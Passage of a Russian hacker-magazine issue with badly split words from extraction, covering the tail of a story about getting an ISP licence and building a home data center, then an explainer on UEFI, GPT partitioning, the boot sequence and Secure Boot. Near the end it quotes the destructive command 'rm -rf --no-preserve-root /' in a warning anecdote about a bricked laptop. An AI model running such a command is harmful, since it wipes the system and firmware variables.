это не вари ант.

«ЧТО ПРЕДСТАВЛЯЕТ СОБОЙ ПРОЦЕСС?»
Пос коль ку повышен ной сек ретнос ти не тре бова лось, я пошел офи циаль ным
путем  (вах‐вах!).  Обра тил ся  к  Канад ской  комис сии  по  радио,  телеви дению
и  телеком муника циям  (CRTC),  канад ско му  ана логу  Федераль ной  комис сии
по  свя зи  Соеди нен ных  Шта тов  (FCC),  что бы  получить  базовую  лицен зию
меж дународ ных  телеком муника цион ных сер висов  (BITS), — в общем, Очень
Мно го Аббре виатур.

INFO

От  редак ции:  в  Рос сии  фун кции  орга низа ций,
обоз начен ных  эти ми  сок ращени ями,  выпол няет

. Если вдруг решишь ся на бес при‐ 
мер ный  под виг,  ищи  в  пер вую  оче редь  две
лицен зии  —  на  телема тичес кие  услу ги  и  на
переда чу дан ных  за исклю чени ем переда чи дан‐ 
ных  для  целей  голосо вой  информа ции  (то  есть
без IP‐телефо нии, на нее нуж на отдель ная лицен‐ 
зия).

Рос комнад зор

Здесь  пот ребова лись  кое‐какие  юри дичес кие  дей ствия,  нотари ус  и  офор‐ 
мле ние  бумаг  в  трех  экзем пля рах,  но  ходить  на  голове  не  приш лось  —
в  целом  это  впол не  осу щес тви мо.  Ой,  чуть  не  забыл  —  есть  еще  пери од
общес твен ного обсужде ния заяв ки на лицен зию, ког да люди могут написать,
что  они  дума ют  по  это му  поводу.  Я  не  получил  ни  одно го  ком мента рия…
(Всплак нул.)

Ког да  юри дичес кая  под готов ка  успешно  завер шилась  и  я  получил  офи‐ 
циаль ное  раз решение  про давать  интернет,  началось  самое  инте рес ное.
Пра во‐то  я  получил  —  но  про давать  мне  было  нечего.  Сам  про цесс  меня
знат но  фрус три ровал,  а  сто имость  интерне та,  который  я  мог  бы  переп‐ 
родавать, была очень высокой. И что же делать?

Окей,  нес коль ко  лет  назад  я  поз накомил ся  с  вла дель цем  одно го
интернет‐про вай дера, и он рас ска зал мне об «опто вом» интерне те от боль‐ 
шого  канад ско го  про вай дера  Bell.  Сам  Bell  об  этой  услу ге  не  рас простра‐ 
няет ся  —  оно  и  понят но:  зачем  отда вать  даром  то,  что  мож но  про дать
подоро же? Прав да, была одна серь езная проб лема: что бы про давать в роз‐ 
ницу  «опто вый»  интернет,  нуж но  было  про тянуть  опто волок но  от  круп ного
узла  дос тупа  в  мой  дом.  А  это  допол нитель ное  стро итель ство,  раз решения
от города и куча дру гих нак ладных рас ходов — в общем, месяч ная сто имость
выходи ла  за разум ные пре делы. А если еще учесть,  что договор нуж но зак‐ 
лючать минимум на шесть лет…

Луч ше  зас тре лите…  Цитируя  бес смертные  сло ва  Эксла  Роуза,  «куда  мы
теперь?».

Дру гой вари ант: у одно го ресел лера интерне та от Bell было сущес твен но
более дос тупное, но все еще дорогое пред ложение. Я знаю, о чем ты сей час
дума ешь: «Эй, Джей сон, а почему ты прос то не арен дуешь стой ку в  колока‐ 
цион ном  цен тре?»  Хороший  воп рос.  Я  про бовал,  но  каж дый  новый  сер вер
замет но уве личи вает арен дную пла ту. C сетью все было прис той но, но я дол‐ 
жен был делить ее с дру гими людь ми — а это зна чит, что, если у меня или у
них будет какой‐то прог рам мный баг, может рух нуть вся сеть, и никого это не
пораду ет.

По мимо все го про чего, это все еще очень дорого — и я бы переп лачивал
за  фун кции,  которые  не  собира юсь  исполь зовать.  Такой  план  был  бы  жиз‐ 
неспо собен,  если  бы  у  меня  был фик сирован ный  набор  тре бова ний  к  обо‐ 
рудо ванию и я ничего не менял. Но в том‐то и заг воз дка: мое ска ниро вание
в  ряду  мно гих  дру гих  опе раций  не  будет  ста тич ным;  нап ротив,  оно  будет
более  чем  динамич ным.  Так  что  приш лось  бы  пос тоян но  менять  нас трой ки
и фун кции — а это такая голов ная боль, что оно того не сто ит. Но и это еще
не  все  ( ):  колока ции  заяв ляют,  что  они  работа ют  безот‐ 
казно  99,99999%  вре мени  —  этот  показа тель  называ ют  «пять  девяток».
Но если ты готов запус тить сер вер самос тоятель но и сог ласить ся на 99,9% —
уди витель ная раз ница! — мож но сэконо мить нем ного денег. Ну и за нежела‐ 
тель ные фун кции, вклю чен ные в сто имость, переп лачивать не при дет ся.

глу бокий  вдох

«ЧТО ЖЕ ТЫ СДЕЛАЛ?»
Всё и сам.

Вы яснил,  как  пос тро ить  собс твен ную  сеть,  соб рал  билд,  допол нил  его
диаг раммой  сети  и  выложил  на  обсужде ние  в  саб реддит  .  И  да,
мой ник на «Ред дите» реаль но 420SwagBootyWizzard — сми рись с этим.

/r/homelab

Пер вая вер сия дата‐цен тра

Дви гаем ся даль ше: в сети есть пять основных ком понен тов, у всех наз вания
из «Стар тре ка».
1.    —  Dell  R710,  основной  шлюз  обме на  сооб щени ями.  Раз‐ 
меща ет и ана лизи рует все мои дан ные, а так же управля ет ими. Учи тывая,
что дан ные я собираю по все му интерне ту, на этом сер вере висит доволь‐ 
но мно го работы.

USS  Defiant

2.    —  моя  уста нов ка  глу боко го  обу чения,  обла дающая  нес коль кими
гра фичес кими про цес сорами (GPU) и самым мощ ным в дата‐цен тре CPU.
Ее глав ная фун кция — быть машиной глу боко го обу чения и ана лиза. Она
очень эко номит вре мя, ког да я работаю над оче ред ным про ектом — ана‐ 
лити чес ким или по машин ному обу чению.

Picard

3.    —  очень  мощ ная  база  дан ных  с  твер дотель ным  накопи телем
(SSD) боль шого объ ема. В ней соб раны нес коль ко SSD «кор поратив ного
уров ня». База дан ных дол жна иметь очень высокую ско рость записи, что‐ 
бы не отста вать от пос тупа ющих дан ных, и рас полагать мно готе рабай тным
хра нили щем.  Соб рать  этот  сер вер  было  доволь но  слож но.  Он  дол жен
не  толь ко  быс тро  записы вать,  но  и  быс тро  счи тывать,  выдер живать
интенсив ную запись, а так же иметь боль шую вмес тимость. Удов летво рить
все эти  тре бова ния было неп росто. Я под счи тал,  что обыч ный SSD  (нап‐ 
ример, Samsung Evo 860), ско рее все го, умрет за год исполь зования.

Janeway

4. Даль ше идет  , еще один Dell R710. Это сер вер моей вир туаль‐ 
ной машины, на котором кру тит ся сре да Proxmox.

Delta Flyer

5. И  наконец,    (я  пла ниро вал  наз вать  его  в  честь  бор тового
компь юте ра  кораб ля  «Энтер прайз»,  но  не  смог  най ти  имя  —  если
кто‐нибудь  под ска жет,  буду  приз нателен).  В  основном  он  работа ет
как сер вер DNS и сетевой накопи тель (NAS) от Synology. Он име ет очень
боль шую  емкость  и  исполь зует ся  глав ным  обра зом  для  бэкапов  и  архи‐ 
виро вания  —  но  его  мож но  под цепить  к  любой  вир туаль ной  машине
или дру гому сер веру, которо му нуж но хра нить нес коль ко боль ших папок.

Databanks

WWW

Ес ли  хочешь  узнать  поболь ше  о  DNS‐сер верах
и их исполь зовании в кибера таках, заг ляни в 

.
мой

блог

Вто рая вер сия дата‐цен тра

За одно  мы  перес тро или  наш  дом —  в  смыс ле,  я  такой:  камон,  это  луч ший
момент, что бы добавить еще нем ного про вод ки! До это го моя жена думала,
что я прос то чуть более чок нутый, чем обыч но, — но теперь она все поняла
и  оце нила.  Пос ле  ремон та  дома  и  укла дыва ния  новой  про вод ки  я  пошел
еще даль ше — и разорил ся на остеклен ный дата‐центр и пару точек дос тупа
Wi‐Fi биз нес‐клас са. В ито ге получи лась очень малень кая ком ната — но мно‐ 
го мес та под мои нуж ды.

Точ ки дос тупа Wi‐Fi

Я  уве рен,  ты  уже  оце нил,  нас коль ко  зна читель ны  зат раты:  сер веры,  кор пус,
нап равля ющие,  рас пре деле ние  питания,  источник  бес перебой ного  питания
(прос то боль шой акку муля тор — что бы при перебо ях элек тро энер гии ком пы
про дол жали  работать)  и  так  далее.  Все  нарас тает  как  снеж ный  ком  —
и  доволь но  быс тро.  Но,  с  дру гой  сто роны,  пос коль ку  теперь  я  тех ничес ки
лицен зирован ный интернет‐про вай дер, я могу легаль но про давать интернет
сво им  соседям —  что,  конеч но,  доволь но  гнус но.  Одна ко  куда  важ нее,  что
все  это  может  облегчить  мои  иссле дова ния  дос таточ но  эффектив ным  эко‐ 
номи чес ки  спо собом. И  хотя  в  целом про ект  дорогой,  в  дол госроч ной пер‐ 
спек тиве все впол не рен табель но и реаль но может отбить ся за пер вые нес‐ 
коль ко лет. И я знаю, что прыг нул пря мо сей час на двад цать уров ней кру тос ти
вверх, — но пос тара емся дер жать себя в руках, вер но? :P

«ЧТО СОБИРАЕШЬСЯ ДЕЛАТЬ ДАЛЬШЕ?»
Пос коль ку  работа  еще  не  завер шена,  я  не  могу  выс тро ить  чет кой  кар тины
будуще го. Полагаю, что буду раз вивать и раз вивать свой про ект, потому что,
если  чес тно,  мне  нра вит ся  быть  самому  себе  про вай дером — мож но  даже
ска зать,  королем  собс твен ного  домена.  Теперь  у  меня  есть  сво бода,  ско‐ 
рость  и  про пус кная  спо соб ность,  что бы  ска ниро вать  то,  что  мне  нра вит ся,
и так час то, как я хочу. Я не говорю, что тебе обя затель но сто ит пос ледовать
моему при меру, — говорю лишь, что ты мог бы. Это было на удив ление лег ко
и очень весело.

Од ной из пер вых идей было пред ложить этот путь иссле дова телям инфо‐ 
сека, потому что, нап ример, мы этим уже занима емся, — и теперь, ког да про‐ 
ект запущен и работа ет, мы опре делен но хотим пред ложить его тем, кто про‐ 
фес сиональ но  иссле дует  инфо безо пас ность.  Ког да  я  выяс нил,  нас коль ко
труд но  иссле довать  информа цион ную  безопас ность  круп ных  облачных  про‐ 
вай деров, я подумал: а ведь было бы неп лохой иде ей под держать иссле дова‐ 
ния,  пре дос тавив дос туп  к общим датасе там и сов мес тным иссле дова ниям.
И  хотя  с  тех  пор  мы  нем ного  отош ли  от  этой  мыс ли  из‐за  осо бен ностей
логис тики  и  управле ния  кли ента ми,  это  опре делен но  оста ется  вари антом
на будущее.



GRAND
PARTITION

THEFT

КОПАЕМСЯ В UEFI
И ПЫТАЕМСЯ ПОНЯТЬ,

ПОЧЕМУ У НАС ОТНЯЛИ BIOS

Ксения Кирилова
Desperately in love with

Linux and C
kclo3@icloud.com

ТРЮКИ

Ка залось  бы,  нет  задачи  про ще,  чем  заг рузка  компь юте ра:
нажал на кноп ку питания, и спус тя неп родол житель ное вре‐ 
мя  на  экра не  появит ся  интерфейс  опе раци онной  сис темы.
На  самом  же  деле  имен но  меж ду  эти ми  дву мя  событи ями
в нед рах машины и про исхо дит все самое инте рес ное. Осо‐ 
бен но  если  исполь зует ся  UEFI  и  диск  с  раз меткой  GPT.
Давай  заг лянем  под  капот  тво его  ноута  или  ком па  и  пос‐ 
мотрим,  как  заг ружа ются  устрой ства,  исполь зующие  самые
сов ремен ные тех нологии.

ЧТО НЕ ТАК С BIOS?
Сам тер мин BIOS архе оло ги впер вые обна ружи ли в коде CP/M от 1975 года.
Исходные  тек сты  CP/M,  в  фай ле    (CP/M  1.1)  которых  под  авторс‐ 
твом  Гэри  Кил далла  и  появи лось  упо мина ние BASIC  I/O  SYSTEM, Computer
History Museum выложил в сво бод ный дос туп в 2014‐м в честь 40‐летия сис‐ 
темы. Если тебе инте рес но озна комить ся с этим исто ричес ким арте фак том,
они дос тупны на  .

BDOS.PLM

сай те музея
Ба зовая сис тема вво да‐вывода в некото ром смыс ле выпол няет фун кцию

интерфей са меж ду обо рудо вани ем и ОС, без нее опе раци онка не заг рузит ся,
а железо оста нет ся холод ным и без жизнен ным. К тому же в ней есть фун кции,
которые мож но вызывать из ОС для дос тупа  к базовым воз можнос тям обо‐ 
рудо вания,  подоб но  тому,  как  при ложе ния  исполь зуют  сис темные  вызовы
для  дос тупа  к  фун кци ям  ОС.  Одна ко  опе раци онные  сис темы  все  же  пред‐ 
почита ют исполь зовать собс твен ные драй веры для работы с обо рудо вани ем.

В  x86‐сис темах  BIOS  выпол няет  тес тирова ние  (POST)  и  ини циали зацию
обо рудо вания. Затем управле ние переда ется пер вично му заг рузчи ку (master
boot code),  который ищет активный раз дел и его заг рузоч ный сек тор, что бы
передать  управле ние  ему  для  заг рузки  опе раци онной  сис темы.  В  BIOS
исполь зует ся  фор мат  раз метки  MBR,  который  тем  не  менее  стро го  опре‐ 
делен ного стан дарта не име ет.

INFO

Нап ример,  Крис  Кас пер ски  в  сво ей  кни ге  «Вос‐ 
ста нов ление  дан ных.  Прак тичес кое  руководс тво»
писал, что в пос ледние четыре бай та, отве ден ные
под код пер вично го заг рузчи ка, Windows записы‐ 
вала иден тифика тор дис ка, и это неиз бежно уби‐ 
вало исполь зующий их заг рузчик. Таким обра зом,
для кор рек тной работы с Windows пер вичный заг‐ 
рузчик  дол жен  был  занимать  не  более  442  байт
вмес то чес тно выделен ных ему 446.

BIOS  за  45  лет  сущес тво вания  показа ла  себя  неверо ятным  дол гожите лем
мира  IT, пережив дис кеты, CP/M и PL/M, MS‐DOS и Windows 9x. Но сколь ко
ни обновляй ее под сов ремен ные реалии, в выделен ные для началь ного заг‐ 
рузчи ка 446 байт сей час мно го   не помес тишь. Были у BIOS и дру‐ 
гие недос татки, из‐за которых наз ревала необ ходимость заменить 16‐бит ную
архи тек туру, по край ней мере для «боль шого железа» вчет веро боль шей раз‐ 
ряднос ти. Так пос читали ребята из Intel, и в 1998 году был осно ван про ект 

.  Исходная  вер сия  спе цифи кации,  раз работан ная  в  пер вую
оче редь для машин на Itanium (IA‐64), была опуб ликова на под наз вани ем EFI
(Extensible Firmware  Interface) в 1999 году. А в 2005‐м на базе это го про екта
появил ся  , занима ющий ся раз работ кой и под дер жкой родив‐ 
шей ся таким обра зом тех нологии по сей день.

не нуж ного

In‐
tel  Boot  Initiative

Unified EFI Forum

ПРИШЛА БЕДА ОТКУДА НЕ ЖДАЛИ
Иног да мож но  встре тить  обоз начение UEFI  BIOS. Из  наз вания  понят но,  что
UEFI позици они рует ся как рас ширя емый интерфейс меж ду аппа рат ной плат‐ 
формой  и  опе раци онной  сис темой,  пре дос тавля ющий  таб лицы  и  вызовы,
которые дос тупны заг рузчи ку ОС. Тем самым соз дает ся окру жение для заг‐ 
рузки.

По мимо  основной  прог раммы  из  про шив ки,  UEFI  может  исполь зовать
модули для рас ширения сво ей фун кци ональ нос ти, нап ример для под дер жки
нового обо рудо вания или фай ловых сис тем. Под разуме вает ся, что дос таточ‐ 
но написать драй вер UEFI и он будет работать оди нако во на всех сов мести‐ 
мых опе раци онных сис темах. Вооб ще, сис тема пре рыва ний BIOS была при‐ 
дума на чуть ли не для того же: при появ лении нового устрой ства дос таточ но
добавить его под дер жку в BIOS, а ОС мог ла бы обра щать ся к устрой ству пос‐ 
редс твом базовой сис темы вво да‐вывода — не зря же ее так наз вали.

Кро ме  того,  интерфейс  этот  зовет ся  уни фици рован ным.  Спе цифи кация
ука зыва ет  одной  из  целей  раз работ ки UEFI  сде лать  так,  что бы  раз ные  опе‐ 
раци онки мог ли  гру зить ся на раз ном железе без вне сения изме нений в ОС
или аппа рат ную плат форму. Ины ми сло вами, UEFI игра ет роль допол нитель‐ 
ного  слоя  абс трак ции,  в  стан дарте  опре делен  даже  EFI  Byte  Code  (EBC).
Цели,  безус ловно,  бла гие.  Жаль,  исполне ние  под качало  —  реали зовы вать
стан дарт  каж дый  волен  по‐сво ему,  и,  к  при меру,  китай ские  про шив ки,
как  иног да  пишут  на  форумах,  спо соб ны  иной  раз  удив лять  сво им  поведе‐ 
нием.

Объ ект ненавис ти
Внед рение  UEFI  в  поль зователь ские  сис темы  надела ло  немало  шуму.  Быть
может,  ты  пом нишь,  как  были  рады  линук соиды,  ког да  появи лись  ноуты
на  Windows  8  и  для  их  сер тифика ции  Microsoft  тре бова ла  Secure  Boot.
При  этом  изна чаль но  пре дус матри вать  ее  отклю чение  или  уста нов ку  любых
клю чей, кро ме клю чей MS, не счи талось необ ходимым. Нет рудно пред ста вить
проб лемы уста нов ки, а ско рее даже запус ка сто рон них ОС в таком слу чае.

Не очень лес тно об UEFI отзы вал ся и Линус Тор валь дс. В 
 он говорит, что «EFI — это еще один факт пов режде ния моз га Intel

(пер вым  был  ACPI)»,  и  сожале ет,  что  UEFI  зах ватыва ет  x86‐машины,  тог да
как  появил ся  он  для  IA‐64.  То  ли  дело  BIOS,  из  которо го  ник то  не  пытал ся
соору дить карету и который делал лишь то, для чего был пред назна чен: 

.  По  поводу  Secure  Boot  Линус  тоже
как‐то   не самым лес тным обра зом.

спис ке рас сылки
ядра Linux

just
load  the OS  and  get  the  hell  out  of  there

выс казал ся

Но все же давай пос мотрим, какие у UEFI име ются дос тоинс тва.
Во‐пер вых, с при ходом UEFI раз мер дис ка боль ше не огра ничен зна чени‐ 

ем в 2 ТиБ и сос тавля ет 8 ЗиБ — такие носите ли, навер ное, появят ся еще не
ско ро. Во‐вто рых, его отли чие от тра дици онных BIOS в том, что он заг ружа ет
фай лы со спе циаль ного раз дела EFI system partition (ESP), вмес то того что бы
искать код началь ного заг рузчи ка внут ри таб лицы раз делов. То есть UEFI выс‐ 
тупа ет  более  высоко уров невым  заг рузчи ком,  так  как  изна чаль но  спо собен
работать с фай лами на раз делах (но из короб ки, как пра вило, под держи вает
толь ко  FAT,  а  для  дру гих фай ловых  сис тем  необ ходимо  уста нав ливать  драй‐ 
веры  UEFI).  Дос таточ но  отформа тиро вать  флеш ку  в  FAT  и  положить  на  нее
в  каталог    файл  с  обра зом,  который  UEFI  под хва тит  для  даль‐ 
нейшей заг рузки, и   заг рузоч ная флеш ка готова!

/EFI/BOOT/
поч ти не надо думать

Вмес те  с  UEFI  был  раз работан  и  новый  стан дарт  раз метки  дис ков  GPT
(GUID Partition Table). В спе цифи кации UEFI называ ются сле дующие пре иму‐ 
щес тва нового фор мата перед ста рым доб рым MBR:

ад реса  логичес ких  бло ков  (LBA)  ста ли  64‐бит ными  вмес то  32‐бит ных
в MBR (чем и пре одо лели огра ниче ние на раз мер дис ка в 2 ТиБ);

•

под держи вает ся нам ного боль ше раз делов, чем четыре основных в MBR;•
для обес печения избы точ ности вво дит ся запас ная таб лица раз делов;•
ис поль зует ся механизм кон троль ных сумм CRC32 для обес печения целос‐ 
тнос ти слу жеб ных таб лиц;

•

ис поль зует ся GUID и читабель ное имя раз дела для его иден тифика ции.•

Да вай теперь пос мотрим, как это доб ро устро ено и работа ет.

Нем ного об архи тек туре сис темы UEFI
Ба зовая часть UEFI хра нит ся в про шив ке, но, пос коль ку количес тво дос тупной
памяти на пла те огра ниче но, а фун кций у UEFI боль ше, чем у BIOS, пре дус‐ 
мотре на воз можность исполь зовать модули,  которые под гру жают ся с внеш‐ 
них  носите лей.  Это  могут  быть  допол нитель ные  драй веры  или  при ложе ния,
которые  поз воля ют  рас ширить  фун кци ональ ность:  добавить  под дер жку
допол нитель ных  фай ловых  сис тем  или  устрой ств,  пре дос тавить  поль‐ 
зователь скую обо лоч ку или дать поиг рать в  .тет рис

Заг рузчи ки ОС, нап ример GRUB2, для UEFI счи тают ся при ложе нием. Есть
воз можность  даже  заг ружать  опе раци онные  сис темы  нап рямую  из  UEFI,
минуя отдель ный заг рузчик, будь то GRUB, заг рузчик Windows или любой дру‐ 
гой. Для заг рузки при ложе ний и драй веров в UEFI исполь зует ся Boot manag‐
er. Эти  самые драй веры и  при ложе ния  име ют  рас ширение    и  явля ются
UEFI‐обра зами, фор мат которых базиру ется на PE32/PE32+ или COFF.

.efi

Стан дарт UEFI, помимо интерфей сов, име ет собс твен ные про токо лы вза‐ 
имо дей ствия  сво их  модулей:  Simple  File  Protocol  для  чте ния  фай лов 

 про токо лы вза имо дей ствия драй веров и при ложе ний со сре дой
UEFI, сре ди которых Secure Boot, и мно го чего еще.
с устройств,

В рам ках UEFI есть такая занят ная вещь, как UEFI Shell. Этот шелл не всег‐ 
да  при сутс тву ет  в  про шив ке  компь юте ра,  но  мож но  соз дать  заг рузоч ную
флеш ку  и  запус кать  шелл  с  нее.  Или  ско пиро вать  UEFI  Shell  на  EFI‐раз дел
дис ка, и пос ле   он появит ся в опци ях заг рузки.
UEFI  Shell  может  при годить ся,  нап ример,  для  редак тирова ния  заг рузчи ка
UEFI, запус ка UEFI‐при ложе ний или в каких‐нибудь иссле дова тель ских целях.

не боль ших   ста ранийстра даний

Эта  обо лоч ка  с  интерфей сом  коман дной  стро ки  поз воля ет  без  заг рузки
ОС выпол нять  прос тые фай ловые опе рации  вро де прос мотра  содер жимого
дирек торий,  копиро вания  и  уда ления,  запус кать  драй веры  и  при ложе ния
UEFI, работать с сетью и пра вить меню заг рузки. Сущес тву ет допол нитель ный
набор прог рамм от Intel,  , с которым мож но даже раз мечать
дис ки. В обо лоч ке под держи вает ся выпол нение скрип тов, перенап равле ние
вывода  и  кон вей ер,  фай ловые  шаб лоны,  исто рия  команд  и  про чие  вещи,
напоми нающие о bash (зато допол нение по табу не работа ет). Из‐за подоб‐ 
ных  воз можнос тей,  пре вос ходящих  задачи прос того  пер вично го  заг рузчи ка,
UEFI и называ ют иног да псев доОС.

UEFI Disk Utilities

UEFI Shell в вир туал ке. Рус ские име на фай лов не показы вает, зато он
раз ноцвет ный

Для  кор рек тной  работы  и  заг рузки  внеш них  при ложе ний  UEFI  необ ходим
диск, отформа тиро ван ный по новому стан дарту. Приш ло вре мя нем ного углу‐ 
бить ся в его устрой ство.

О раз метке дис ков GPT
Пер вый  логичес кий  блок  на  носите ле — LBA0 — содер жит  так  называ емый
защит ный  (protective)  MBR  на  слу чай,  если  ста рые  прог раммы,  слы хом
не  слы хав шие  о GPT,  соч тут  диск  нерабо чим  и  решат  его  испра вить.  Так же
бла года ря  защит ному  MBR  вмес то  дей стви тель ной  раз метки  ста рое
ПО будет видеть один боль шой раз дел, име нуемый GPT protective partition.

Сле дом идет пер вичная таб лица GPT. В ней хра нит ся заголо вок GPT (GPT
header) с общей информа цией: сиг натурой и вер сией GPT, GUID дис ка, кон‐ 
троль ными сум мами слу жеб ных таб лиц и про чими полез ными вещами. Рядом
с  заголов ком  находит ся  мас сив  записей  о  раз делах  (Partition  entry  array),
в котором опи сыва ется каж дый раз дел на носите ле: GUID типа раз дела, GUID
раз дела, LBA начала и кон ца, атри буты и имя. Пос ле таб лицы раз делов сле‐ 
дует  , то есть блок, который может быть исполь зован непос‐ 
редс твен но для раз дела.

FirstUsableLBA

В  пер вичной  таб лице  есть  LBA  запас ной  (Backup) GPT,  иден тичной  пер‐ 
вой, толь ко зна чения ее полей   и   меня ются мес тами.
Запас ная  таб лица  находит ся  в  пос леднем  бло ке  дис ка,  перед  ней  рас‐ 
положе на еще одна таб лица с запися ми о раз делах, так что поле 

 так же име ет дру гое зна чение.

MyLBA AlternativeLBA

Partitio‐
nEntryLBA

Для хра нения допол нитель ных прог рамм UEFI может при сутс тво вать отно‐ 
ситель но  неболь шой  (в  рай оне  100–200  Мбайт)  сис темный  раз дел  ESP.
Обыч но он рас полага ется  пер вым и име ет  тип FAT32. В  слу чае  заг рузоч ных
фле шек  вся  флеш ка  фор матиру ется  в  FAT,  поэто му  там  нет  необ ходимос ти
соз давать отдель ный ESP. Зна чения сис темных перемен ных и кон фигура ция,
нап ример порядок заг рузки, хра нит ся в NVRAM.

При мер ное отно ситель ное рас положе ние всех этих эле мен тов ты можешь
пос мотреть на схе ме, более под робные опре деле ния таб лиц дос тупны в спе‐ 
цифи кации.

Схе матич ное пред став ление основных струк тур GPT

Как видишь, здесь мало обще го с раз меткой MBR, нет прак тичес ки никакой
сов мести мос ти  (есть,  прав да,  ,  но  мы  о  нем  сей час  не  будем
говорить). Зато  теперь мож но насоз давать  кучу  здо ровых раз делов, при чем
без кос тылей в виде основных и рас ширен ных томов.

Hybrid  MBR

Продолжение статьи →
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Заг рузоч ная пос ледова тель ность
Заг рузка  в  сре де  с  UEFI  тоже  усложни лась,  но  не  нас толь ко,  что бы  мы
не сумели понять основные прин ципы. Нап ример, так же как и в BIOS, выпол‐ 
няет ся началь ная ини циали зация обо рудо вания. Теперь за нее отве чает Plat‐
form  Initialization  (PI),  спе цифи кацию  которой  мож но  най ти  в  пер вом  томе
докумен та  .  При мер но  вот  так  выг лядит
заг рузоч ная пос ледова тель ность UEFI.

Platform  Initialization  (PI)  Specification

Про цесс заг рузки плат формы с UEFI

Рас смот рим шаги заг рузки по поряд ку:

Ини циали зация обо рудо вания (Pre-EFI Initialization)
На  дан ном  эта пе  всю  работу  выпол няет,  как  уже  ска зано,  часть  стан дарта
под наз вани ем PI. PI дол жна опре делить при чину стар та (перезаг рузка, выход
из  сна,  прос тое  вклю чение)  и  ини циали зиро вать  про цес сор,  чип сет  и  сис‐ 
темную пла ту. Сюда вхо дит так же орга низа ция сре ды выпол нения драй веров,
и  может  при сутс тво вать  модуль  сов мести мос ти  CSM  (Compatibility  Support
Module) для заг рузки с MBR, которая по умол чанию не под держи вает ся. Пос‐ 
ле  ини циали зации  железа  управле ние  переда ется  менед жеру  заг рузки.  Он
опре деля ет, что заг ружать далее.
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PI исполь зует собс твен ные бинари фор мата Terse
Executable.  Этот  тип  исполня емых  фай лов
в целом очень похож на PE (может быть и COFF),
но  сиг натура    была  замене на  на  .  Погова‐ 
рива ют,  что  сов падение  с  ини циала ми  Вин сента
Цим мера,  тру жени ка  Intel  и  руково дите ля
рабочей груп пы PI, абсо лют но слу чай но.

MZ VZ

Заг рузка модулей EFI и заг рузчи ка ОС
Ме нед жер заг рузки опре деля ет, какие драй веры и при ложе ния UEFI дол жны
обя затель но  быть  заг ружены  на  кон крет ной  сис теме,  и  при  необ ходимос ти
вза имо дей ству ет  с  поль зовате лем.  В  качес тве  одно го  из  таких  при ложе ний
заг ружа ется и заг рузчик UEFI  (UEFI OS  loader), но на этом эта пе мож но заг‐ 
рузить и обо лоч ку UEFI. Вооб ще, заг рузчик ОС может быть как собс твен ным
заг рузчи ком UEFI,  так и любым дру гим,  глав ное,  что бы он был нуж ного UEFI
фор мата  с  рас ширени ем  .  Для  сре ды UEFI  это  в  любом  слу чае  прос то
при ложе ние,  которое  для  работы  с  обо рудо вани ем  дол жно  исполь зовать
толь ко сер висы и про токо лы UEFI.

.efi

За вер шение заг рузоч ных сер висов
При  успешной  заг рузке  ОС  выпол няет ся  фун кция,  завер шающая  все  заг‐ 
рузоч ные  сер висы  и  осво бож дающая  выделен ную  им  память.  Управле ние
переда ется опе раци онной сис теме.

Кон цепту аль но заг рузка с UEFI вро де не так силь но отли чает ся от BIOS —
здесь тоже есть неч то похожее на POST и на началь ный заг рузчик. Но появи‐ 
лась еще такая фича, как Fast Boot. Она свя зана с тем, что зачас тую дей ствия
для  ини циали зации  железа  опе раци онная  сис тема  все  рав но  выпол няет
заново  (ска жем,  запол няет  таб лицу  пре рыва ний).  Что бы  не  делать  двой ную
работу, в UEFI дан ный этап может про пус кать ся, тем самым заг рузка сис темы
уско ряет ся.

Еще одна осо бен ность UEFI называ ется Secure Boot (забав но, что в поис‐ 
ковиках пер вым сре ди пред ложений по это му зап росу появ ляет ся «как отклю‐ 
чить»).  Это  про токол,  пред назна чен ный  для  под писи  драй веров  и  про вер ки
исполня емых фай лов. В пер вую оче редь он пре дот вра щает заг рузку недове‐ 
рен ных обра зов UEFI, про веряя под писи этих обра зов перед запус ком.

Пред полага ется, что Secure Boot защища ет в слу чае модифи кации обра‐ 
зов вре донос ным ПО и не дает запус кать ся бут китам. На деле же Secure Boot
мож но  обой ти  с  помощью      реали зации  или  вооб ще  отклю‐ 
чить,  что бы  избе жать  проб лем  с  заг рузкой  аль тер натив ных  ОС,  а  живой
работос пособ ный рут кит для UEFI был  . Ну и по стан‐ 
дарту фун кция Secure Boot вооб ще необя затель на для реали зации про изво‐ 
дите лями.

раз личных ба гов

об наружен в 2018 году

Тем  не  менее,  что бы  при  вклю чен ной  Secure  Boot  заг ружать  что  бы  то
ни было на устрой ствах с уста нов ленны ми клю чами Microsoft, эти бинар ники
дол жны быть соот ветс тву ющим обра зом под писаны. Под писывать GRUB чре‐ 
вато задер жка ми релизов, да и Microsoft не осо бо горит желани ем выдавать
ключ из‐за исполь зуемой им GPLv3.

Это  ста ло  при чиной  появ ления  так  называ емых  пред загруз чиков: 
и    ( ),  которые  сами  под писаны,  но  запус кать  могут  уже
не  под писан ные  MS  обра зы.  Что  они  и  дела ют,  переда вая  управле ние
GRUB’у  или  дру гому  заг рузчи ку.  Нын че  Shim  исполь зует ся  такими  дис три‐ 
бути вами,  как  Fedora,  Debian,  Ubuntu,  SUSE.  Более  под робно  с  ана лизом
защищен ности про шив ки в  ходе заг рузки  ты можешь озна комить ся в нашей

.

Shim
PreLoader Loader.c

статье про пен тест UEFI

ЕСЛИ КАЖЕТСЯ, ЧТО ВСЕ ПОТРАЧЕНО...
От оши бок ник то не зас тра хован, и пот рачено все может быть по раз ным при‐ 
чинам. Юзер «что‐то нажал», воз никли баги в дис ковых ути литах, а еще есть
осо бен ности работы GPT с RAID. Да и UEFI, бес спор но, слож нее BIOS, а чем
объ емнее  код,  тем  лег че  ошиб кам  в  него  зак расть ся.  Вот  в  раз ных  реали‐ 
заци ях  и  обна ружи вают ся  баги,  поз воля ющие  обой ти  защит ные  механиз мы
UEFI потехи ради или для уста нов ки вре доно са в такую область, что не спа сет
ни пере уста нов ка оси, ни сме на дис ка. А мало ли, на что спо соб ны такие вре‐ 
доно сы...

Кста ти,      уже  уме ют  ска ниро вать  UEFI  на  наличие
бут китов.

не кото рые ан тивиру сы
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К сло ву,  не могу не  упо мянуть  ,
ког да  прес ловутый 

  вмес те  с  содер жимым  дис ков  стер
содер жимое перемен ных в NVRAM, которое в Lin‐
ux  мон тиру ется  в 

, что при вело к окир пичива нию ноута. Такая
вот осо бен ность реали зации стан дарта попалась
экспе римен татору и наг лядно показа ла,  что дос‐ 
туп на запись к перемен ным UEFI из ОС был сом‐ 
нитель ной  зате ей.  В  общем,  хорошень ко
подумай, если вдруг захочешь поиг рать с огнем.

за бав ный  слу чай
rm  ‐rf  ‐‐no‐preserve‐

root  /

